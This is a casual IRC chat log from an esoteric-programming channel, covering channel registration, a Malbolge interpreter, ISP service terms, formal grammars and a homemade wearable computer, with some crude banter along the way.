13:29:38 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
13:30:06 -!- bsmntbombdood has joined.
13:46:34 -!- Corun has joined.
14:46:05 -!- Judofyr has joined.
14:57:09 -!- MigoMipo has joined.
15:14:01 -!- psygnisfive has joined.
15:18:59 -!- Corun has quit.
15:24:27 -!- Corun has joined.
15:33:03 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
15:40:17 -!- coppro has quit (Read error: 110 (Connection timed out)).
16:03:06 -!- GregorR-L has joined.
16:14:21 -!- inurinternet has joined.
16:31:58 -!- Judofyr_ has joined.
16:49:30 -!- Corun has changed nick to Corun|away.
16:54:09 -!- Judofyr has quit (Read error: 113 (No route to host)).
16:54:31 -!- Corun|away has changed nick to Corun.
17:02:07 -!- KingOfKarlsruhe has joined.
17:03:33 -!- ineiros has quit (Read error: 104 (Connection reset by peer)).
17:11:29 -!- ineiros has joined.
17:13:31 -!- Corun has changed nick to Corun|away.
17:22:03 -!- Corun|away has changed nick to Corun.
17:24:32 -!- inurinternet has quit.
17:26:39 -!- oerjan has joined.
17:26:52 <oerjan> My are we negative today
17:29:00 -!- Judofyr_ has changed nick to Judofyr.
17:34:49 <oerjan> <psygnisfive> so i figure, why not do that for all function calls, period
17:35:17 * pikhq looks forward to doing continuations in C++.
17:35:18 <oerjan> apparently there have been functional languages experimenting with parallelizing absolutely everything
17:35:23 <pikhq> ... Via continuation-passing style code.
17:35:39 <oerjan> the problem is the overhead absolutely kills any performance gain when you do it on small chunks
17:39:51 <oerjan> and finding out what is worth parallelizing is a hard problem
17:44:37 -!- KingOfKarlsruhe has quit (Remote closed the connection).
17:50:52 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
17:59:15 -!- inurinternet has joined.
18:03:01 -!- pikhq has joined.
18:18:54 -!- Judofyr has quit (Remote closed the connection).
18:25:32 -!- bsmntbombdood has joined.
18:28:53 -!- kar8nga has joined.
18:33:31 -!- Sgeo has joined.
18:33:48 <Sgeo> ehird, new Fine Structure is up
18:56:37 -!- ais523 has joined.
19:00:19 <oerjan> eek, that global notice is a bit scary
19:00:27 -!- oerjan has changed nick to oerjan_.
19:00:34 -!- oerjan_ has changed nick to oerjan.
19:01:07 * oerjan isn't sure whether that was necessary but did so anyway
19:02:05 -!- olsner has joined.
19:02:14 <oerjan> lament: are you a registered contact for this channel?
19:06:41 <oerjan> who is a contact for this channel anyway? channel info only lists andreou, who certainly disappeared years ago?
19:07:27 <oerjan> good, then we should be safe
19:08:00 <oerjan> but we really should have a contact who is actually a channel regular...
19:10:40 <oerjan> ehird: warrie: with all your nicknames you probably should take care: "Grouped alternate nicknames which are considered to be expired will be dropped."
19:15:22 <pikhq> oerjan: We should probably get control of the channel transferred to someone who's actually here.
19:16:02 <ais523> lament and fizzie are on the access list, at least, does that count?
19:16:13 <oerjan> ais523: i have no idea
19:16:15 <ais523> besides, if the channel /is/ dropped, an op could get it back again
19:16:26 <ais523> maybe we should ask lament/fizzie to leave their op powers on permanently just in case
19:16:59 -!- ChanServ has set channel mode: +o fizzie.
19:17:23 <fizzie> I can stay like this until Freenode's ethnic purge or whatever is done, if it makes any sense.
19:17:59 <psygnisfive> whats going on with freenode and the channel now?
19:18:23 <oerjan> "And we can only tell that your channel is in use if some user in your access list, identified to NickServ, periodically joins the channel."
19:18:42 <fizzie> Well, that should be happening rather regularly.
19:18:48 <oerjan> ok so fizzie and lament being here is what counts
19:19:09 <oerjan> and andreou being the founder probably doesn't matter
19:19:33 <fizzie> Incidentally, "chanserv info #esoteric" for me lists "Founder: andreou" and "Successor: fizzie", but I have no clue what that latter title means. It's a weird network.
19:20:01 <pikhq> Might mean that you're supposed to take over for andreou?
19:20:06 <pikhq> So... Why haven't you? :P
19:20:07 <oerjan> fizzie: for me, only andreou is shown
19:20:27 <fizzie> I assume some sort of "there can be only one" swordfight is involved.
19:23:50 <ais523> fizzie: successor automatically becomes founder if the founder goes permanently missing for some reason
19:24:01 <ais523> so an active successor is enough to keep a channel alive
19:25:05 <GregorR-L> oerjan: Drag andreou out of eso-retirement for bfjoust :P
19:30:05 <GregorR-L> http://codu.org/masterpiecemachine/autocompose.php // enjoy the awful!
19:40:33 -!- Corun has changed nick to Corun|away.
19:47:12 -!- Slereah has quit.
19:50:04 -!- Slereah has joined.
19:58:51 -!- oerjan has quit ("Bus").
19:59:30 * Sgeo needs a new MIDI player. Suggestions?
20:00:25 <GregorR-L> pikhq: That's spectacularly unhelpful since generally MIDI is more difficult in Linux than Windows :P
20:00:39 <GregorR-L> Unless you care about the quality of the instruments, but you shouldn't for autocomposer :P
20:01:15 -!- tetha has quit (Nick collision from services.).
20:01:24 -!- tetha has joined.
20:01:42 <ais523> you can just install timidity
20:01:58 <ais523> which converts MIDI into other things, and can also play it
20:02:05 <ais523> but I don't know if that's Linux-only
20:02:10 <pikhq> I hate being helpful.
20:02:30 <Sgeo> pikhq, too bad, you helped my self-esteem the other day
20:02:40 -!- tombom has joined.
20:06:01 <GregorR-L> So, I assume nobody's actually listening to the output of the autocomposer? :P
20:06:47 <Sgeo> GregorR-L, too lazy to load up Yahoo Jukebox at this minute
20:06:51 <Sgeo> But I downloaded something
20:07:10 <Sgeo> Want me to listen?
20:07:28 * Sgeo made a random generator thing for tonematrix
20:07:28 <GregorR-L> I don't care really, it was more to bother people :P
20:08:17 <Sgeo> Ok, it's not loading
20:08:33 <Sgeo> AH, here it is
20:09:34 <Sgeo> It's not bad as much as it is boring, tbh
20:09:53 <Sgeo> http://lab.andre-michelle.com/tonematrix http://sgeo.diagonalfish.net/rnd_tonematrix.htm
20:10:08 <Sgeo> Maybe I was just too impatient considering that I wanted to show what I just linked to
20:11:04 -!- BeholdMyGlory has joined.
20:16:54 -!- Corun|away has changed nick to Corun.
20:18:49 <Sgeo> psygnisfive, try my generator thing?
20:19:24 <Sgeo> Press a button
20:19:31 <Sgeo> Like Single tone
20:19:39 <Sgeo> Copy those numbers into tonematrix
20:20:06 <Sgeo> Copy into your clipboard, right-click on Tonematrix and click paste
20:23:00 <Sgeo> psygnisfive, change the number to something to make Polyphonic make that number of tones in a column (or sometimes less)
20:23:02 <pikhq> GregorR-L: Make it a genetic algorithm.
20:23:17 <pikhq> So you can have algorithmic algorythms.
20:23:27 <GregorR-L> pikhq: I thought about it, but that'd be impossible since the fitness function is "sounds good" :P
20:23:44 <pikhq> Well, you could use people as the fitness function.
20:23:49 <Sgeo> GregorR-L, have people vote on which sounds better
20:59:15 <lifthrasiir> http://pastie.org/private/gs6p43htyhdyg7nk1vvw that was hellish, but there is malbolge interpreter in migol now. (warning: not yet final)
21:04:14 <lifthrasiir> well, i should test with reference interpreter, but it's... a kind of slow.
21:04:32 -!- atrapado has joined.
21:04:38 <MigoMipo> No, the reference interpreter sucks.
21:04:47 <MigoMipo> Whoever wrote it should be executed.
21:06:16 <lifthrasiir> anyway i made the program ignore null byte for compatibility. given much time, reference interpreter should start printing "99 bottles..." :p
21:07:03 <MigoMipo> I could fix a non-null-terminating version.
21:10:28 <lifthrasiir> hmm, it silently terminates after 5 minutes. :S
21:14:47 -!- olsner has quit ("Leaving").
21:14:55 <MigoMipo> If it works in theory but not in the reference interpreter, it is the interpreter's fault.
21:15:46 <MigoMipo> I found the line 2<[2]<$+300<[[2]] in the program, why not 2<$+300<[[2]] ?
21:15:47 <Sgeo> Anyone ever say in a spec that if the ref. interpreter and spec conflict, the interpreter's correct?
21:17:28 <lifthrasiir> MigoMipo: you're right, that can be simplified. it doesn't change the meaning though.
21:18:13 <lifthrasiir> (i copied that statement from other line, namely 1<[2]<$+300<[[1]])
21:18:52 <FireFly> Increase with 300 and store the row the same var is currently pointing at
21:19:30 <lifthrasiir> FireFly: that's D register in malbolge. :p
21:20:21 <FireFly> I've never looked into malbolge
21:20:27 <FireFly> I don't know if I want to :P
21:20:47 <ehird> 05:17 bsmntbombdood: http://www.prq.se/?p=colo&intl=1
21:20:48 <ehird> 05:17 bsmntbombdood: 100 megabits for $2000/month
21:20:48 <ehird> 05:17 bsmntbombdood: is that a lot?
21:20:51 <ehird> that is ridiculously expensive
21:21:03 <ehird> 100 mbit internet is like $50-$70/mo in civilized countries
21:21:06 <ehird> of coures without the 4u
21:21:12 <ehird> but 4u for ~$2000?
21:21:26 <ehird> 05:41 GregorR: http://codu.org/masterpiecemachine/autocompose.php // YAY ITS BAD
21:21:31 <lifthrasiir> i found that memory initialization is very slow in the java version (~5min), but it prints wrong value for hello world program.
21:21:32 <ehird> wait why is fizzie an op
21:21:53 <ehird> but the 30tb/mo is nic
21:21:59 <ehird> 06:10 MizardX: Sweden.
21:22:05 <ehird> guess i wanna move there for awesome internet
21:23:46 <ehird> freenode's holocaust
21:23:51 <ehird> we should move to oftc
21:24:12 <ehird> 18:25 GregorR-L: oerjan: Drag andreou out of eso-retirement for bfjoust :P
21:24:14 <ehird> andreou was here recently.
21:24:29 <ehird> 18:59 Sgeo needs a new MIDI player. Suggestions?
21:24:32 <ehird> buy an mt-32 synthesizer
21:24:38 <ehird> better than general midi!
21:24:44 <GregorR-L> ehird: That explains why autocomposer sounds "beautiful" :P
21:24:45 <ehird> bad digital converter hiss!
21:26:08 <ehird> 20:15 Sgeo: Anyone ever say in a spec that if the ref. interpreter and spec conflict, the interpreter's correct?
21:26:26 <ehird> GregorR-L: what, mt-32?
21:26:32 <ehird> GregorR-L: no, I'm not using it atm; it's a pain to wire up
21:26:47 <ehird> i just have a great love of bad music
21:27:03 <GregorR-L> ehird: Well then you should be joining us in writing Masterpieces!
21:27:09 <ehird> MizardX: your hostname is cloaked. who is your isp?
21:27:18 <ehird> GregorR-L: afraid I have no midi composer software
21:27:33 <ehird> i do have an m-audio 49 key midi keyboard and an mt-32, so 2/3 at least
21:27:45 <ehird> i also lack musical talent.
21:28:05 <ehird> Sgeo: "8192,8,8,4,64,32768,32768,2048,16,4096,16384,32768,64,16384,64,256" is pretty
21:28:53 <ehird> from your random generator :P
21:29:04 <ehird> it's ever so slightly out of sync
21:29:16 <ehird> or at least appears that way at first
21:30:22 <ehird> you guys know that guy who hanged himself?
21:30:27 -!- KingOfKarlsruhe has joined.
21:30:31 <ehird> not due to the 'sploits, but claimed as by stupid media
21:30:41 <ehird> i found his blog. he was a total jerk.
21:30:54 <ehird> [[The entire fucking knowledge of the universe penetrated, permeated, and pervaded my mind, and I became omniscient. You can say that I have indeed seen god, and yes, he is a fucking idiot.]]
21:31:06 <ehird> [[I drive a brand new benz, and currently my sole aim is to make money. ]]
21:31:14 <ehird> [[I have always been 3.14 times bigger than God. ]]
21:31:23 <ehird> [[sporting a tattoo that says ‘God is a fucking idiot’, ]]
21:31:34 <ehird> [[“God loves you, you know”. One of them said.
21:31:34 <ehird> “That’s irrelevant. I am going to kill god”.]]
21:31:42 <ehird> [[“Hehe. I know everything. I have seen the entire fucking universe. I am actually omniscient. I have read the entire Bible. I have a new theory that all successful religions are based on legitimatizing rape”. ]]
21:32:05 <ehird> i couldn't act more smug and shit-faced if I tried
21:32:16 <ehird> i thought wolfram's ego was bad...
21:32:31 <ehird> http://ligesh.com/, http://ligesh.com/about/
21:32:40 <ehird> oh also [[I am the most interesting person on this godforsaken planet of the apes.]]
21:33:13 <ais523> I like the way "I have read the entire Bible" is marked there as being something impressive
21:33:21 <ais523> I think even normal people could manage that
21:33:36 <ais523> it's not like it's massively long, or deliberately hard to read
21:33:47 <ehird> ais523: it does contain some rather vile stuff, though
21:33:50 <ais523> well, reading the original would be more impressive
21:34:12 <ehird> ais523: Hbrw: Jst dd vwls.
21:35:31 <ehird> that doesn't erase vowels
21:37:54 <MizardX> {ehird} MizardX: your hostname is cloaked. who is your isp?
21:38:33 <Sgeo> http://www.youtube.com/watch?v=hCWu98GRk-E reminds me of Davies and Kosogorin in Fine Structure
21:38:41 <ehird> MizardX: fibre optic i assume?
21:39:13 <MizardX> Ethernet into the apartment. I don't know how it's connected to the house though.
21:39:17 <Sgeo> ehird, are you catching up in Fine Structure?
21:39:27 <ehird> Sgeo: i have only read one or two of it.
21:39:33 <ehird> i will wait until it is done, i suppose
21:39:45 <ehird> MizardX: actual ethernet internet? interesting
21:39:52 <ehird> ais523: do any isps actually do that? since you know AS and stuff.
21:40:02 <Sgeo> ehird, what if I spoil the ending for you at that time? >:D
21:40:17 <ehird> Sgeo: then I'll kill you :P
21:40:47 <MizardX> At some point I think they use fibers. They wouldn't be able to handle all the traffic otherwise.
21:41:03 <ehird> MizardX: those riksnet people seem to do deals with landlords and stuff instead of direct to consumer
21:41:07 <ehird> well "Do not pay to bury another cable. Join together with your neighbors and get group discounts on broadband."
21:41:15 <ehird> a rather odd way of running an isp
21:41:36 <lifthrasiir> MigoMipo: okay, #<[9]<$+2 was problematic: my interpreter changes program counter after whole statement is executed, but yours immediately stops executing current statement when #<[9] is executed.
21:41:58 <lifthrasiir> i guess the latter is the correct behavior...?
21:42:24 -!- Corun has changed nick to Corun|away.
21:42:29 <MizardX> The most of the city is connected in one network, where each client can choose between different ISPs.
21:43:09 <MizardX> Just a few clicks and you can change ISP.
21:43:10 <ehird> The base of Riksnets service offering consists of a high speed connection via fiber network to the local area or premise. The connection is done with a gigabit link, and each dwelling, up to 100Mbit depending on the equipment in its own network.
21:43:15 <ehird> MizardX: that's weird
21:43:19 <ehird> MizardX: what city is this?
21:43:39 <ehird> a city at the coast of in northern Sweden with 45,467 inhabitants
21:43:41 <ehird> that's a small city
21:45:07 <ehird> The cost per connection, and months can vary greatly depending on, among other communities the size, cost of access to local stadsdelsnät and distance from the nearest node.
21:45:07 <ehird> Normally, however, a Riksnetkund previously had a normal ADSL connection expect to halve their monthly fee and receive 10 times as high capacity.
21:45:12 <ehird> that's just so not-vague
21:46:49 <MizardX> 0.5 Mbit ADSL and 10/100 mbit ethernet/fiber is almost in the same price-range. ADSL has wider coverage but lower speed.
21:47:24 <ehird> i pay for 8mbit adsl and get 2-6mbit
21:47:33 <ehird> most often 500kbps
21:48:03 <ehird> MizardX: no symmetrical 100/100 though? :-)
21:48:15 <ehird> unfortunately the high-speeders tend to lack technical prowess eg ipv6 and custom reverse dns
21:48:35 <MizardX> I meant 10mbit or 100mbit, not 10 up/100 down.
21:48:46 <ehird> MizardX: so the 100 is symmetrical?
21:49:50 <MizardX> Most ethernet/fiber connections are symmetrical. ADSL 0.5/1.0/8/24 is another story.
21:50:06 <lifthrasiir> registers are correct, maybe the memory problem. but anyway it's time to go sleep... :p
21:50:24 <fizzie> There was some sort of project to build a similar "city-district network" (with fibre, in which ISPs could then provide Internet connectivity relatively cheaply) in the place I used to live in few (7?) years ago. I'm not sure if anything came out of it.
21:50:41 <ehird> uk/us internet is really bullshit
21:50:52 -!- GregorR-L has quit ("Leaving").
21:50:55 <ehird> the only fibre provider is Virgin, they offer up to 50mbit, but jesus, their contract
21:51:03 <ehird> they literally say that annoying another internet user is prohibited
21:51:08 <ais523> also, they require Windows
21:51:14 <ehird> their whole tos is just ridiculous
21:51:20 <ais523> but looking carefully, it's a requirement for at least one Windows computer
21:51:23 <ais523> as opposed to nothing but Windows
21:51:27 <ehird> you can't do anything other than check your email and respond in a courteous manner
21:51:38 <ehird> NOBODY BUYS 50MBIT INTERNET APART FROM FOR ILLEGAL DOWNLOADS!
21:51:45 <comex> doesn't "require windows" usually mean "our software only supports windows but you can get it to work on linux through google"
21:51:50 <ehird> well, maybe an archive.org junky
21:52:01 <ais523> comex: yes, in this case
21:52:02 <ehird> bogon's ToS is nice
21:52:16 <ehird> "You are not allowed to do anything illegal. If we are told you are doing something illegal, we'll cut you off."
21:52:23 <fizzie> Well, uh, the website of the organization doing the "local-ish area networking" thing seems to have morphed into a portal site completely in Russian (at least with the cyrillic alphabet) so I'm guessing they're not really in business any longer.
21:52:26 <ais523> what if the person who told you that was lying?
21:52:39 <ehird> ais523: i was summarising
21:52:44 <ehird> http://www.bogons.net/aup.shtml
21:52:59 <ehird> it still lists too many individual violations for my liking
21:53:18 <Sgeo> ehird, remember when I spoiled http://qntm.org/?failure for you? Do you still remember the spoiler?
21:53:31 <ehird> Sgeo: Something about people dying in some way.
21:53:34 <Sgeo> (Yes, it's FS, so don't read it now if you want to save FS)
21:53:43 <Sgeo> I didn't even specify how
21:53:48 <fizzie> The terms-of-service for most ISPs around here are rather ugly too. For one thing, a majority of them have some sort of "you are not allowed to have a server program connected to our network" thing.
21:54:04 <Sgeo> Do you want me to?
21:54:10 <ehird> virgin let you have servers if you meet N where N tends to infinity conditions
21:54:42 <Sgeo> Do you read ROT13'd text as though it weren't ROT13'd?
21:55:01 <ais523> no, I get my web browser to decode it
21:55:04 <ehird> if an isp existed offering a symmetrical 100mbit connection, with a terms of use consisting of "illegal stuff is prohibited", and that did stuff like ipv6 & custom reverse dns...
21:55:09 <Sgeo> Gurl nyy qvr bs qrulqengvba.
21:55:17 <ehird> i'd leave home and fly there overnight :P
21:55:21 <ehird> Sgeo: What the fuck is your problem?
21:55:30 <Sgeo> ehird, just don't decode it
21:55:43 <ehird> <Sgeo> ehird: HEY ELLIOTT WANT A SPOILER <ehird> No. <Sgeo> REAAALLLLLLLLLLY? <ehird> I said no. <Sgeo> Gurl nyy qvr bs qrulqengvba LOLOLOLOLOLO
21:58:11 <pikhq> fizzie: So, not allowed to have any daemons?
21:58:55 <ehird> Sgeo: Actually, I can't think of a justification other than attempting to get me to decode it out of curiosity and thus re-spoiling.
21:59:04 <ehird> So I hereby deem you a royal jerk.
21:59:54 <Sgeo> If I really wanted to spoil you, I would have either not mentioned that it was a spoiler, or spoiled in plaintext
22:00:12 <fizzie> pikhq: It's not like there are any definitions of terms there, so it's anyone's guess as to what constitutes a "server".
22:00:16 <ehird> So you bothered me about whether I wanted a spoiler or not and then said it anyway... why exactly?
22:00:47 <Sgeo> I don't know. Bored silliness.
22:04:02 <pikhq> fizzie: Let's say you run an outbound VPN and have servers over that. :P
22:04:03 -!- Corun|away has changed nick to Corun.
22:04:48 <MizardX> [Translated] Can I set up my own server? Yes. You can set up a server as long as it is not for commercial activities.
22:05:24 <ehird> MizardX: That's ridiculous.
22:05:29 <ehird> That's utterly ridiculous.
22:08:28 <fizzie> I translated this on-#esoteric earlier, but one ISP here ("Elisa") has the following [rough translation trying to keep the text style and confusedness intact] about servers: you are not allowed "to use the network service to provide services for broadband- or internet-service users by placing server equipment or software into the data communication link".
22:10:06 <ehird> atrapado: no, managers tell lawyers to write it
22:11:05 <atrapado> and neither one knows what they are doing
22:11:58 <MigoMipo> lifthrasiir: I believe that the first statement is correct.
22:12:12 <ehird> atrapado: lawyers absolutely know what they're doing.
22:12:17 <MigoMipo> It should do the entire operation before branching.
22:13:40 <fizzie> That last part especially is written so that the Finnish version sounds very much like they're talking about literally taking some piece of soft- or hardware and somehow inserting it into some sort of reified physical manifestation of the connection you're buying. They *could* just as easily speak of connecting those things to the link or something so that it made sense, but no; you insert things into it.
22:13:48 <fizzie> I guess it's the tube, and you put stuff in it.
22:14:06 <ais523> one tube, or a series?
22:14:28 <fizzie> One tube for the customer; presumably it connects to a series of.
22:14:28 <pikhq> I think that would ban a router that offers DNS caching, but not an actual server.
22:14:50 <ehird> atrapado: you don't know what?
22:15:06 <atrapado> whether lawyers know what they are doing
22:16:31 <ehird> atrapado: what sort of mad alternate universe do you live in
22:16:39 <ehird> i think what you mean to say is "i don't like lawyers".
22:17:28 <atrapado> ehird, i am debugging the world and looking for a guilty
22:17:46 <ehird> atrapado: erm, your grammar seems very guilty
22:19:14 <atrapado> ehird, yes, can you decapitate it ?
22:19:31 <ehird> atrapado: i think it already has been
22:21:14 <atrapado> ehird, headless grammar it is then
22:21:14 -!- ais523 has quit (Read error: 104 (Connection reset by peer)).
22:22:11 <ehird> you could totally theorizify that
22:23:00 <atrapado> maybe a grammar without a start symbol
22:23:02 <ehird> a grammar that got decapitated
22:23:23 <psygnisfive> you mean where any non-terminal is a valid start symbol?
22:24:04 -!- Judofyr has joined.
22:25:15 <psygnisfive> if thats what you mean, then you have not changed a thing
22:25:24 <atrapado> no, i meant S = a string of more than one non terminal
22:26:11 <atrapado> you do not start with S, you start with, say AB
22:27:04 <psygnisfive> if your grammar is (R, T, N, AB), thats the same as (R + {S -> AB}, T, N + {S}, S)
22:27:21 <atrapado> it might be equivalent, but it is not the same
22:27:41 <ehird> psygnisfive: why do linguists just have long tuples instead of naming shit? :D
22:28:04 <psygnisfive> G = (R, T, N, S) is maths, ehird, not linguistics
22:28:08 <ehird> "oh this syntactical monomorphonomy is (A,GT,R+Z->Y,{F},X,QUR,D)"
22:28:09 <ehird> psygnisfive: i know
22:28:24 <atrapado> some lingustics is, since chomsky defined something there
22:28:39 <psygnisfive> well yes, chomsky did some math for the earliest parts of formal language theory
22:29:13 <psygnisfive> "your rules include S -> AB, you have a new non-terminal S, and S is the start symbol)
22:29:24 <ehird> psygnisfive: vs "morpho A, syntactic transform GT, equivalence relation R+Z->Y"
22:29:30 <ehird> you could even abbreviate them!
22:29:38 <ehird> mph A, st GT, eqr R+Z->Y
22:29:54 <psygnisfive> you could abbreviate them even more by omitting the name and understanding the position is relevant
22:30:16 -!- kar8nga has quit (Read error: 54 (Connection reset by peer)).
22:30:25 <ehird> 22:29 psygnisfive: you could abbreviate them even more by omitting the name and understanding the position is relevant
22:30:37 <ehird> "element 4" meaningfulness <<<<<<< "eqr" meaningfulness
22:30:56 <ehird> psygnisfive: it's like saying variables in a function are referred to by the number of their occurance
22:31:03 <ehird> let 3 let $1 + 2 let $1+$2
22:31:14 <ehird> → let a=3 let b=a+2 let c=a+b
22:32:37 <psygnisfive> atrapado: i dont see what youre getting from this "headlessness"
22:32:57 <atrapado> the same you are getting with your headness
22:33:12 <ehird> psygnisfive: he didn't actually invent this any more than on the spot...
22:33:18 <ehird> 22:17 atrapado: ehird, i am debugging the world and looking for a guilty
22:33:18 <ehird> 22:17 ehird: atrapado: erm, your grammar seems very guilty
22:33:20 <ehird> 22:19 atrapado: ehird, yes, can you decapitate it ?
22:33:22 <ehird> 22:19 ehird: atrapado: i think it already has been
22:33:23 <ehird> 22:21 atrapado: ehird, headless grammar it is then
22:35:15 <atrapado> it would be funny defined that way
22:35:37 -!- Judofyr_ has joined.
22:36:12 <ehird> GregorR: how heavy is your wearable computer?
22:36:23 <ehird> i guess it's low-spec; even a heatsink would likely be prohibitive as far as comfort goes
22:37:01 <atrapado> how would you get 'a' from 'AB' ?
22:37:29 <pikhq> ehird: I'd imagine it is, at best, comparable to an EeePC.
22:37:53 <ehird> pikhq: i'd go for an embedded ARM type set up
22:38:02 <ehird> pikhq: so you can use a really tiny motherboard, no heatsink or anything needed
22:38:16 <ehird> and a decent desktop arm is probably better than a low-end x86
22:38:21 -!- tombom has quit (Read error: 110 (Connection timed out)).
22:38:37 <ehird> wearable computing is just brain implants for wussies :)
22:38:54 <atrapado> psygnisfive, if you start with nonterminals 'AB', what grammar do you need so that 'a' is in the grammar ?
22:39:54 <GregorR> ehird: Idonno, maybe 2 lbs all said.
22:40:02 <psygnisfive> if your language does not contain the empty string, then CSLs do not require epsilon rules.
22:40:17 <GregorR> Remember! When turning left onto a one-way street, the right lane is the wrong lane!
22:40:24 <ehird> GregorR: ugh, I'd hate to carry around 0.9kg around
22:40:31 <psygnisfive> and if your language DOES contain the empty string
22:40:33 <ehird> i mean it's light, sure
22:40:40 <ehird> GregorR: what's the specs like
22:40:48 <EgoBot> http://google.com/search?q=beagleboard
22:40:50 <ehird> —and I mean the specifications, not the spectacles—
22:40:51 <psygnisfive> then you can write a CSG where the only epsilon rule is S -> ε
22:41:00 <psygnisfive> and all other rules are strictly epsilon-free
22:41:15 <ehird> http://upload.wikimedia.org/wikipedia/commons/e/e1/Beagle_Board_big.jpg
22:41:20 <ehird> GregorR: some of those heatsinks look a bit heavy
22:41:29 <ehird> GregorR: how do you interact with it?
22:41:33 <psygnisfive> so no, not every grammar has epsilons. only grammars for languages with the empty string have epsilons.
22:41:41 <GregorR> ............... the BB has no heatsinks.
22:41:50 <ehird> GregorR: dude, yes it does
22:42:02 <ehird> but it definitely has heatsinks
22:42:13 -!- oerjan has joined.
22:42:15 <ehird> anyway, what's the input method
22:42:20 * GregorR wonders which component ehird thinks is a heatsink ...
22:42:20 -!- oerjan has quit (Client Quit).
22:42:29 <GregorR> Ring-mounted mouse and a tiny bluetooth keyboard.
22:42:34 <ehird> maybe i'm looking wrong :P
22:42:39 <ehird> GregorR: oh, that's bullshit
22:42:45 <pikhq> That's pretty awesome.
22:42:47 <atrapado> psygnisfive, do you know how many grammars there are ?
22:42:51 <ehird> who the fuck wants to use shitty mice/keyboards on the go
22:43:02 -!- oerjan has joined.
22:43:05 <GregorR> ehird: You're another one of those "IT'S NOT A WEARABLE IF YOU DON'T HAVE AN IMPOSSIBLE-TO-LEARN CHORDER" retards?
22:43:12 <pikhq> atrapado: Approximately \infty
22:43:22 <ehird> GregorR: get some gloves/mittens with half a keyboard in the palm, like those Kinesis keyboards
22:43:23 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
22:43:29 <pikhq> Erm. MY TEX FOO SUCKS.
22:43:30 <ehird> and have the right one have two extra keys for left/right click
22:43:33 <GregorR> ehird: That sounds unbearably awkward ...
22:43:40 <atrapado> exactly the same number as the number of natural numbers
22:43:45 <pikhq> GregorR: I'd call a chording keyboard worth it.
22:43:45 <psygnisfive> pikhq: if you mean how many grammars, period, then yes, an infinite number.
22:43:53 <ehird> GregorR: not too much, but think of the advantages
22:43:56 <pikhq> But to each his own.
22:43:57 <ehird> you can just keep walking while typing and mousing
22:44:01 <ehird> for moving the mouse...
22:44:08 <GregorR> I can walk and mouse anyway.
22:44:11 <psygnisfive> infact, for any given language there are an infinite number of grammars for that language.
22:44:14 <ehird> have a button that, when you hold it down, your hand movements move the mouse
22:44:16 <GregorR> And I doubt I could concentrate on walking and typing regardless :P
22:44:25 <ehird> so you make a fist and move to the top-left of the screen, say.
22:44:28 <ehird> that'd be kick-ass.
22:44:30 <pikhq> ehird: That Beagleboard there seems to not have heatsinks. It seems to have a few *sockets*.
22:44:40 <ehird> pikhq: yeah, I looked at it wrong
22:45:07 <ehird> i would like a wearable computer a lot, but it'd have to do it right
22:45:16 <ehird> GregorR: you can get transparent-background oled displays
22:45:22 <oerjan> psygnisfive: very trivially, just add an indirection non-terminal
22:45:23 <ehird> [well, they're in the "trade show demo" phase]
22:45:26 <ehird> *that's* what you need
22:45:31 <ehird> seamless integration, beyotch!
22:45:33 <GregorR> This is a "budget" wearable :P
22:45:40 <ehird> GregorR: got any photos?
22:45:43 <ehird> it sounds cool regardless
22:45:54 <GregorR> ehird: Not yet. Surprisingly difficult to take full-body photos of oneself :P
22:45:58 <ehird> GregorR: use a timer
22:46:03 <psygnisfive> for any given language, i think there is a finite number of minimal CFGs
22:46:06 <oerjan> psygnisfive: general chomsky grammars too, naturally
22:46:09 <GregorR> ehird: That's what I did, but it's not focusing right.
22:46:11 * pikhq will quite likely have to get a beagle board and make a tiny laptop out of it
22:46:23 <ehird> GregorR: also, budget wearable = a wearable that you can't take around town because you'd look like a freaking dolt
22:46:23 <GregorR> pikhq: That would be a very tiny laptop.
22:46:26 <pikhq> (what I need from a laptop is... SSH)
22:46:39 <GregorR> ehird: I don't care what I look like.
22:46:56 <ehird> GregorR: The police do, if you have a suspicious, fat pack on you :P
22:46:58 <psygnisfive> but i think for CSGs and UGs, there are an infinite number of minimal grammars
22:47:08 <ehird> (yeah, it's bullshit; but it happens)
22:47:09 <pikhq> ehird: ... More likely 3" computer with attached keyboard and screen. :P
22:47:14 <GregorR> ehird: Yeah, the West Lafayette police department are brutal X_X
22:47:15 <ehird> pikhq: so not a laptop
22:47:31 <ehird> GregorR: A hypothetical IM conversation:
22:47:36 <ehird> <GregorR> OMFG some police are coming
22:47:38 <pikhq> I could arbitrarily make it into a laptop.
22:47:48 <ehird> <GregorR> Oh god they've got tasers
22:47:52 <ehird> <person> What are you doing?
22:47:55 <ehird> <GregorR> NO GOD NODSkdjgldkh;lg';hkl
22:48:05 <GregorR> Weird that I'd still be typing at that point :P
22:48:10 <ehird> GregorR: But of course!
22:48:18 <GregorR> And have you suffered police brutality recently? X-P
22:48:23 <ehird> pikhq: a better choice for a laptop is either an Intel Atom or a VIA Nano
22:48:31 <ehird> pikhq: the atom boards have either fans or heatsinks though
22:48:35 <ehird> a via nano has some kick-ass power
22:48:40 <ehird> pikhq: it can decode 720p with 6% cpu usage
22:48:54 <pikhq> If it does SSH, it's enough.
22:48:56 <ehird> and it's one of the smaller board sizes, and doesn't need a heatsink or fan
22:49:06 <ehird> pikhq: no reason to artificially downsize, though
22:49:19 <ehird> pikhq: the problem I've had with a homebrew laptop is getting a chassis
22:49:35 <oerjan> psygnisfive: i think it is undecidable whether two CFG give the same language, which makes me somewhat doubt that you can computably reduce to a finite set
22:49:36 <ehird> that is, they all suck.
22:50:32 <psygnisfive> but regardless of whether or not its decidable is irrelevant to the existence of such a set of grammars.
22:50:45 <ehird> 10"-12" OLED screen, via nano, <=1kg weight
22:50:58 <ehird> No, not laptop. Wintop.
22:52:18 <oerjan> psygnisfive: no, see http://en.wikipedia.org/wiki/Context-free_language#Decidability_properties
22:52:51 <atrapado> do you think a recursive language / a decisor is sufficient for almost everyone ?
22:53:35 <atrapado> it was a rephrase of bill gates' 640 k is enough for everyone
22:53:50 <ehird> that was totally nonobvious
22:54:20 <psygnisfive> all languages are recursive languages (except finite languages which are useless)
22:54:20 <atrapado> i mean you can do almost any interesting calculation with a decisor
22:54:22 <ehird> GregorR: [[Please welcome our new administrator, GregorR, who will be taking over as leader of the Wearable Computing Wiki.]] lawl
22:54:52 <ehird> GregorR: ONLY NAZIS ADMINISTRATE WEARABLE COMPUTING WIKIS
